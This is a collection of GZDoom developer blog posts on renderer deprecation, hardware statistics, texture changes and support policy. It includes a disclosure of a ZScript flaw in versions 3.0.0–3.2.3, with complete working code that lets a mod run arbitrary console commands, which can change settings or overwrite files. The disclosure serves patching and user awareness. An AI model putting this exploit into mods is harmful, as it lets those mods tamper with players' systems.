Blog

If you have been asking yourself, what's in store after having gotten some info about the installed hardware base of our users, here you will find some answers.

The most important thing is, that 6% of our users are still using OpenGL 2 hardware, so for the time being support for that is safe. Don't expect support for new features, though, because that will focus on modern graphics hardware as is owned by the vast majority of GZDoom users.

Things are more interesting on the software renderer. The survey has only 17 out of 5700 users reporting use of the pure software renderer. 5 of these are on Linux which currently suffers from too high hardware requirements for its hardware accelerated 2D for software rendering.
The numbers also showed clearly that the vast majority of software renderer users have hardware that is good enough to run the hardware renderer. The amount of users where the reported data about hardware rendering support is not clear enough is roughly 1% of all reporting users, but extrapolating from the rest of the data it should be a safe assumption that roughly 75% of these do have good enough hardware.

To summarise the above two points, it means that only a tiny fraction of significantly less than 1% may be running the software renderer on hardware old enough to not support OpenGL 2.0.

For those few in this group, I'm sorry to say, but that low number does not justify keeping support for a feature that has serious implications on code maintainability, so for the 3.4 release the backend code for the software renderer will be cleaned up and consolidated. The minimum requirement for GZDoom in both software and hardware rendering mode will now be OpenGL 2.0.
The SWGL, DirectDraw and Direct3D backends will be removed and all hardware access for software rendering be provided by the hardware renderer.
This means that instead of 4 render backends with wildly differing feature sets there will only be one, which will greatly simplify work when adding new features. An added advantage of such a setup is that the renderers can be switched live during gameplay without the need to restart the engine. A working branch for this can be found on the Github repo, it's not complete yet but should work on OpenGL 3.3+ hardware. Making this work on OpenGL 2 is still under development.

I already posted a few numbers on the news thread, but I am certain that some people may be very interested about the results.
We now hit the number of 900 distinct users reporting, so here's a quick rundown of the interesting stuff:

6 users reported using Windows XP - that's actually a lot lower than we would have expected!

85 users have reported data for the software renderer.
870 users have reported data for the hardware renderer.

13 users run the software renderer on a 32 bit system.
14 users run the software renderer with the 32 bit EXE on a 64 bit system (An important note to these: The 64 bit software renderer is considerably faster on your system!)

39 users run the hardware renderer on a 32 bit system.
98 users run the hardware renderer with the 32 bit EXE on a 64 bit system (If you do so, we'd appreciate some feedback. If there is a performance issue, please update the graphics driver.)

49 users run the hardware renderer in legacy (OpenGL 2.0) mode
287 users run the hardware renderer on OpenGL 3.x and 4.x capable hardware
534 users run the hardware renderer on Vulkan capable hardware. (The number may be higher, because there is no easy way to detect Vulkan support on Intel graphics, it can only be done quickly on NVidia and AMD.)

3 users run the software renderer without the hardware accelerated 2D elements
0 users run the software renderer on ancient cards which only support Shader Model 1.4

Needless to say, the biggest surprise here is that the vast majority of 32 bit downloads is actually being used on 64 bit systems. Anyone doing this should really reconsider, and if there's legitimate performance issues, try to solve them. The 64 bit version should run significantly better on such a system, if that system is properly working.

I am making this post to point to some potential breaking changes I had to make in order to fix this feature.

Recently I decided to fix the mess that is 'RenderStyle "Shaded"' (a.k.a. alpha textures)
For those who do not know, this is the style which gets used for blood and scorch mark decals.

A long standing problem with this style has been its poor and inconsistent implementation. Depending on what type of texture was passed and what renderer was active it either worked or did not - in an entirely unintuitive manner. The original software renderer's implementation never went beyond the barest necessities to make shaded decals work, and this never got changed when the feature was extended to a true render style.

The OpenGL hardware renderer has always been able to handle this properly for grayscale textures and produced ok results for other non-paletted textures. It was merely ok for those, because for true color textures the red channel was mapped to alpha, which not only is not the brightest one (that'd be green) and it'd produce bad results for anything with low red content.
The same hasn't been true for the software renderer. This style only worked there correctly when using either IMGZ or grayscale PNGs that got tagged with a custom 'alPh' chunk.
It got even worse with paletted formats like Doom patches. In this case it completely ignored the colors and treated the image's content as a grayscale ramp, but did not consider that the texture manager remaps color 0 to reserve that index for transparency.

Needless to say, with something this inconsistent and seemingly broken by design, the feature was basically reduced to its original use case, i.e. shaded decals and crosshairs and never got beyond that.

I always stayed away from fixing this because I knew that a) it would be a lot of work and b) might have an impact on older mods that depend on the broken semantics here.
Fixing this to behave in a sane fashion would inevitably break any old mod that uses a Doom patch for a decal, unless some countermeasures were implemented.

I finally did some checks of available mods to see what I am up against by checking the entire /idgames content for use of undefined side effects of the old implementation.
The result of this was: roughly 140 patch textures were used for decals over the years, the most recent ones dating back to 2011 and two IMGZ textures that use this format for a color texture.
The most important affected mod is Beautiful Doom whose decals got reused by several other mods, making proper treatment for these a necessity.
The major part of the rest of these 140 textures comes from two mods (njol.wad, njbgpabh.pk3) which merely reused some old, already existing data. Aside from these three mods and the reused Beautiful Doom content, there were only 5-10 affected graphics.

With this amount it was doable to implement a checklist for the affected textures and then fix all those design problems here, which is what I did over the last week.
With the rewritten code, render style "shaded" will now always mean 'take the grayscale value of each pixel and use it as alpha with the current stencil/fill color'.

This implies some important changes to how textures behave:
1) IMGZ will from now on be treated as a grayscale-only format and be considered deprecated. Please discontinue using this format if you still use this for anything else but decals and crosshairs!
2) Doom patches will always be treated as a paletted image, even when being used as an alpha texture. This means that any mod still using such patches (aside from the known ones from Beautiful Doom) will display broken shaded decals! Again, please discontinue using patches for shaded decals, if you still do this.
3) It is no longer necessary to tag alpha PNGs with an 'alPh' chunk. In fact, this will not be checked for anymore by the texture manager.
4) If an image works as alpha texture in one renderer it will now work in all. All those crosshairs from Project Brutality, for example, that were broken with OpenGL 2.0 will now be displayed correctly. So no more trouble with badly prepared graphics that depend on how the renderers implement the feature

So how to deal with this:

1) If you make decals, use a graphics format that gives you full control over the colors like PNG - although JPG may also be an alternative for larger decals now.
2) Known images that use a format incorrectly will be flagged through a list of MD5 hashes to switch from color to grayscale (for patches) or from grayscale to color (for IMGZ.)
3) If you find some old mods with broken decals, please make a bug report pointing to that file. They will be added to the internal exception list then.
4) Note that 3) only applies for released mods as of March 2018! To consider adding something to the exception list, there must be some public link to the file. We cannot and will not extend this list beyond what is needed for backwards compatibility. For WIP you will have to switch to PNGs.

While some people may cry foul over some old feature being altered in a way that might affect a few mods let's not forget one thing:
Due to the messy and inconsistent implementation I have found far, far more decals in /idgames that were plain and simply broken because modders did not properly adhere to the very specific limitations. So by removing those limitations it can be expected that in future mods there will be less bad definitions.

In the end the choice was to do the lesser of two evils. Either keep the feature broken and mostly useless forever or fix it and deal with some potential issues in a very small number of old mods. Most mods using decals were made long after PNG became the image format of choice for ZDoom modding and will not be affected. In fact, a few mods that did not use the feature properly may now even work better than before.

One thing both myself and Graf have been working on is a stats collector. We wanted to make sure we had a working implementation before unveiling it.

What is it?

This is a little mini background function that runs at the start of GZDoom which will send us some very generalized anonymous statistics about the hardware it is being run on.

Why are you doing it?

The purpose of this is to allow us to make informed decisions about hardware deprecation - i.e. if it is time to move on from OpenGL 2.x, whether to drop support for 32-bit processors, how viable a Vulkan engine will be at this point, etc. This is to avoid blindly making decisions about deprecating hardware or making assumptions about it without knowing how many people it will actually affect.

How often does it run?

Depends on how much you wipe your config. If you tend to hold on to your config like most people do, only once per renderer. So it will run the first time you run in Software mode, and the first time you run in OpenGL.

I don't have internet. Will GZDoom still run?

Yes. This little process was very specifically designed to be non-intrusive and, if it cannot find the server it will save its statistics info for next time. It only attempts one connection before it gives up, and GZDoom will run in the foreground while this is happening. The whole thing has absolutely no interaction from the user and it should not even cause the game to stutter. It's also a quick-fire - i.e. attempt it, and it's either successful or not, but either way it's done.

But my privacy!

This was very specifically designed in such a way that there is absolutely no way we can personally identify you. At worst, you'll have an entry in our web server's access log. Big whoop - guess what, you leave plenty of those entries no matter where you go on the web! Anyway, outside of very non-identifiable statistics about your hardware, no personally identifying information is ever collected or sent. We won't even know what wads you're running. We won't even know if you used Doom or Doom 2. Or Heretic. Or Strife. It doesn't even tell us that. All we'll know is there's yet one more person who has a dual-core processor and still running OpenGL 2.something on Windows 10 32-bit, we can't even tell if it's 2.0 or 2.1. We won't even know how much RAM you have.

What info does it send?

To be very specific, it only sends the following information:

Operating System Type: (GZDoom picks only one of the following)
XP (or older)
Vista/7/8/8.1 32-bit
Vista/7/8/8.1 64-bit
Win10 32-bit
Win10 64-bit
A special case if you're using WOW64 (you downloaded 32-bit but you're using a 64-bit OS)
Mac 32-bit
Mac 64-bit
Linux/BSD 32-bit
Linux/BSD 64-bit
Linux/BSD ARM
Linux/BSD PPC

Processor Cores: (GZDoom only picks one of these)
Single, Dual, Quad, Hexa, or Octa (or higher)

Renderer Type: (GZDoom only picks one of these)
Software (No HW2D)
Software (Legacy Direct3D, SM 1.4)
Software (Modern Direct3D, SM 2.0 or later)
Software (OpenGL)
OpenGL (Legacy <3.3)
OpenGL (Modern >=3.3)
Using OpenGL (but has Vulkan Support)

While it is definitely true that some bugs and features take precedence over others, depending on an individual developers' preferences, I am getting a *LOT* of people asking me "is X and Y okay to post on the forums?"

The universal unconditional answer to that is: Yes. Post it. No matter what, just post it. Please don't ask me if it's okay to post it - you are given forum permissions with the expectation that you will use them.

You might fear being judged or looking dumb in doing so. But your own fear is what's holding GZDoom back - no one will judge you, and the worst thing that can happen is you being as vague as possible - don't do that. Give as much detail as you can with the issue, and you're fine.

The main reason why an issue is closed and rejected is because the solution is incompatible with GZDoom's overall current goals - which again, we do not judge you for.

For bugs, we need steps to reproduce, what your hardware and operating system specs are, and all that fun stuff.

For features (including code submissions), we need at least one strong use case, preferably more than one, and your idea has to benefit more than just your own mod.

If you feel like your issue is being ignored, it's not. Keep in mind that GZDoom is a community-powered project with no financial backing, so it may be some time until we get to it. It's not unusual prior to a release for Graf to go through and give a response to and close as many open issue threads as possible with one reason or another.

As I always tell people who ask me about this: It's better to post an issue that gets rejected, than it is to not post something that would've been solved.

[Developer's note: This post has been edited from its original form for clarity]

This post serves as disclosure for an exploit that was recently discovered in ZScript.

The exploit affects all versions between 3.0.0 to 3.2.3, but has been patched in 3.2.4.

The Exploit
ZScript has exposed various features to modders, one of these being the underlying code for the classes powering MENUDEF.
However, the exposure of this MENUDEF code has brought some security concerns along with it.

In MENUDEF, you are able to create menu items that will execute a console command when a user selects them, via the "Command" item.
The code behind this item has a private method named "DoCommand", which is effectively a ZScript version of Zandronum's famous "ConsoleCommand", but without the whitelist.

Normally, you aren't able to make use of DoCommand, as it's private and mostly barred off.
If the item's ZScript class is not "OptionMenuItemSafeCommand", the following checks are made:

• The command will not execute if a menu is not active.
• The command will not execute if the active menu is not an OptionMenu.
• The command will not execute if the Command item does not exist in the active menu (eg, if you created it with new()).

You would expect this to cover the hole pretty well. However, it proved to be trivial to circumvent the above checks.

You could create your own menu linked to ZScript and give it a "Command" item. From there you could modify the Command item's action (the console command it executes) and then proceed to open and close the menu to run the command. The entire MENUDEF file looks like this:

Code: Select all • Expand view

OptionMenu "ConsoleCommandMenu"
{
    class "ConsoleCommandMenu"
    Command "", ""
}
 

And all of the ZScript backing it up is as follows:

Code: Select all • Expand view

version "3.2.0"

class ConsoleCommandMenu : OptionMenu
{
    static void Execute(Name command)
    {
        Menu.SetMenu('ConsoleCommandMenu');
        let desc = OptionMenuDescriptor(MenuDescriptor.GetDescriptor('ConsoleCommandMenu'));
        let item = OptionMenuItemCommand(desc.mItems[0]);
        item.Init("", command);
        item.Activate();
        Menu.GetCurrentMenu().Close();
    }
}

class ConsoleCommand
{
    string Command;
    int    GameTic;

    static play void Execute(string command)
    {
        ConsoleCommandHandler.QueueCommand(command);
    }
}

class ConsoleCommandHandler : EventHandler
{
    private Array<ConsoleCommand> m_Commands;

    static void QueueCommand(string command)
    {
        let cmd     = new("ConsoleCommand");
        cmd.Command = command;
        cmd.GameTic = gametic;

        ConsoleCommandHandler(
            EventHandler.Find("ConsoleCommandHandler"))
                        .m_Commands.Push(cmd);
    }

    override void WorldTick()
    {
        for(int i = 0; i < m_Commands.Size(); i++)
        {
            if (m_Commands[i].GameTic == gametic - 1) continue;

            m_Commands[i].Destroy();
            m_Commands.Delete(i);

            i = -1;
        }
    }

    override void UiTick()
    {
        for(int i = 0; i < m_Commands.Size(); i++)
        {
            if (m_Commands[i].GameTic == gametic - 1)
                ConsoleCommandMenu.Execute(m_Commands[i].Command);
        }
    }
} 

The ZScript code effectively queues up console commands using a custom structure, and executes them by opening and closing the menu after modifying the Command item's action (using the Init() method).
After the above code has been written, all that's left to do for this to be usable is to hook up the EventHandler in MAPINFO:

Code: Select all • Expand view

GameInfo
{
    AddEventHandlers = "ConsoleCommandHandler"
} 

And now we're free to execute console commands at will:

Code: Select all • Expand view

ConsoleCommand.Execute("echo hi!"); 

Concerns
Of course, this brings with it a number of concerns. A very incomplete list of which can be found below:

• A user's settings including bindings, audio volume, player name, colour, etc can all be permanently modified.
• Files on the user's system can be overwritten with the logFile command.

As this exploit has been patched in 3.2.4 to the point of not being able to modify arbitrary files on a user's system, I strongly suggest that you update.

Sample
Attached below is a sample pk3 demonstrating the exploit. Run the sample with a version of GZDoom prior to 3.2.4 and spawn the "Evil" actor to see it in action.

Using old versions of GZDoom is not forbidden - in fact, an entire repository (archive) was made available, more for historical interest but also as a development aid (i.e. bugtracking).

One thing people do not understand, however: Use of these builds is NOT sanctioned nor supported by the development team! Officially we will only offer support for the latest released version. If you have an old version of GZDoom and something breaks - you're SOL until you upgrade. As of this post (may or may not be updated in subsequent releases, but judging by this post's date you should be able to guess what I am getting at), that means no build except 3.2.5 is officially supported. Not even 3.2.4 is supported. 3.2.0 is not supported. 3.1.0 is not supported. 3.0.0 is not supported. 2.2.0 is not supported. 1.8.6 is not supported.

If you need a more up-to-date version of GZDoom that's still supported but offers the old renderer, please consider the ZDoom32 project.

I still see people going around purporting these old versions of GZDoom for general use - if you have issues with the newer versions of GZDoom, it does not hurt to file a bug report. We also have a troubleshooting forum that you can use if you have less bug-related but more technical-related problems.

I will make this very clear: Using old versions of GZDoom is highly discouraged!

This is in response to BoA adding some postprocessing shaders and making the mod incompatible with current GZDoom.

QZDoom may add features GZDoom does not have, like currently the postprocessing shaders.

If you want to use such features in your mod you always have to be careful! QZDoom calls itself experimental for good reasons. Even if those features may look interesting, there is no guarantee that they may get integrated into GZDoom's mainline, and even less guarantee that they get integrated in exactly the same way as written. It may later be decided that those features may require some changes to work better for both technical and usability reasons.

Unless I have given a clear comment about any such feature they must be considered unstable or incomplete. In the case of those shaders I haven't even reviewed the code yet so I cannot tell how they will be handled.

If you decide to release a mod with such a feature it may easily end up compatible only with the single QZDoom version it was developed against because if GZDoom alters the feature, so will most likely all future QZDooms as well.

It seems to be semi-common practice to replace the engine's main options menu.
As of today this feature is blocked - user mods will not be able to replace the main options menu anymore. Instead a warning will be printed to the console and the menu override be discarded.

The reason this was done is that this menu contains critical settings that must always be accessible. Since the options menu and its submenus expose engine features to the user interface they obviously can change at any time a new feature gets added. This sometimes can result in the addition of a new submenu and the addition or removal of new entries. Any user mod overriding this will be locked to the version of this menu of the time of its making, resulting in false bug reports and usability issues.

As such I deemed it necessary to ensure that the internal menu always gets used. If you absolutely feel you need an option menu for your mod, there's two options:

1. Use 'AddOptionMenu' to add to the end of it.
2. Use a separate 'Game Options' menu accessible from the main menu. This is actually the preferred way to do it because it separates game from engine options more cleanly.

There have been some discussions lately on the forum about how difficult it is to run GZDoom on old hardware.

You might think - "Doom is an old game. All I ever need is Doom." That's fine. Doom can run on old systems. But not GZDoom. The point of GZDoom is to run Doom on modern hardware, using modern rendering techniques that are more efficient on modern computers. It turns out that in many cases, the techniques that are best suited for modern computers are ill suited for, or even entirely incompatible with, old hardware. And inversely, optimizations that made sense on old computers can be counter-productive on modern hardware.

"But I shouldn't need a computer that runs Crysis 5 just to run Doom!" - and you'd be right. If you want to just play Doom on a system that could run the original, "vanilla" engine, then you can still do so and just play Doom with its original engine. If you want, however, to play modern GZDoom mods that push the Doom engine far beyond its original limits while enabling all sorts of effects that the original doom.exe never offered, then you have to realize that your old computer cannot do that. It cannot do that with GZDoom, just like it cannot do that with the original doom.exe. One important thing that needs to be remembered here is that the entire level setup of Doom is extremely hostile towards how modern graphics hardware works. Modern hardware can work best with large meshes that are being processed with a single draw call. Doom is the complete opposite of that: It is rare that a single draw call contains more than 10 vertices but there can be tens of thousands of them on modern and very detailed levels. This will lead to even seemingly 'primitive looking' data requiring more processing time than modern games which have been optimized for the hardware. That is part of why GZDoom can be slower than some of those newer games.

The vast majority of users who use GZDoom nowadays have computers that are at least capable of running games from the ~2012 era (i.e. capable of supporting OpenGL 4.x), and some possibly even newer than that. It would be a disservice to keep catering to users that use systems which are much older than that. Not to mention, it creates a whole lot of code bloat and makes the source tree much bigger than it needs to be. In some cases, keeping support for old hardware in can even make it impossible to implement features for newer hardware because the necessary approaches are mutually incompatible.

Basically what it comes down to is this: Doom is a 1993 game. If you want to run Doom on your 1993 system - by all means, go right ahead. But don't expect a source port that is being coded for modern computers to keep running on that same 1993 system. Times change, people get rid of those old systems, and they want something new. That's what GZDoom is.

Keep in mind that basically all hardware being manufactured in the last 5 years will be capable of running GZDoom with all effects enabled - performance issues nonwithstanding. It will also be capable of running with all non-postprocessing effects enabled on all non-integrated graphics hardware from the last 10 years and on a basic setting for even older systems. The software renderer with the Direct3D backend contains support for hardware up to 14 years of age.

So when we say things like "DirectDraw" is deprecated - that literally means, DirectDraw is going to be removed from the code base soon. If you do not have at least semi-decent pixel shader capable graphics card from 2003 or later, you will have to either keep using an older version of GZDoom, or perhaps look into ZDoom-LE ("Legacy Edition"), which is made specifically for outdated hardware but which, obviously, does not offer the more modern features that you will find in recent versions of GZDoom.

Here are some examples of some enhancements that were made to benefit modern computers, but unfortunately, could not be done likewise for older computers:

• TrueColor renderer was created for hardware-accelerated back-ends, not DirectDraw, where it likely would have run very poorly on modern systems.
• OpenGL 1.x support was dropped during GZDoom's 1.8.x series, and inherently kept out during the later 2.x series, due to severe maintenance overhead in the source code. Several features GZDoom depends on are only available on GL 2.x hardware and working around them is not easy.
• Features get dropped on OpenGL 2.x hardware, for the same reasons. It should also be considered that most effects that were previously done on 2.x hardware but have been dropped require texture duplication because without shader access they cannot be manipulated at real time. An example for this would be the invulnerability effect that has been replaced in both Doom and Heretic with a less faithful but far less resource intensive workaround. On GL 3.x hardware the proper effect can be done with the original texture and a special shader.
• In order to use C++ version 11, which increased source code readability and flexibility, support for Visual Studio 2005 had to be dropped. As a result, Windows 9x is no longer officially supported.
• SSE2-supporting CPU's are now required, because the true-color renderer runs very poorly without it and making the code compatible with older hardware would have involved some serious maintenance headache for a very small number of old systems.
• Assembly instructions were removed from the software renderer because the implementation details of this code made it impossible to use with multithreaded rendering. In general the performance advantage over C++ code compiled with a modern C++ compiler was very slim at best and negative at worst. The downside, of course, is, that on old single-core systems the non-assembly implementation will be slower.
• The "optimized" column rendering, which took advantage of a quirk in older CPU's that provided more efficient memory access, had been removed, again for source code readability - it more than doubled the size of the render code - but the main reason was that it provided no advantage whatsoever anymore on modern hardware - in fact it was slower or at best the same performance as the "unoptimized" version on any machine less than 10 years old it got tested on.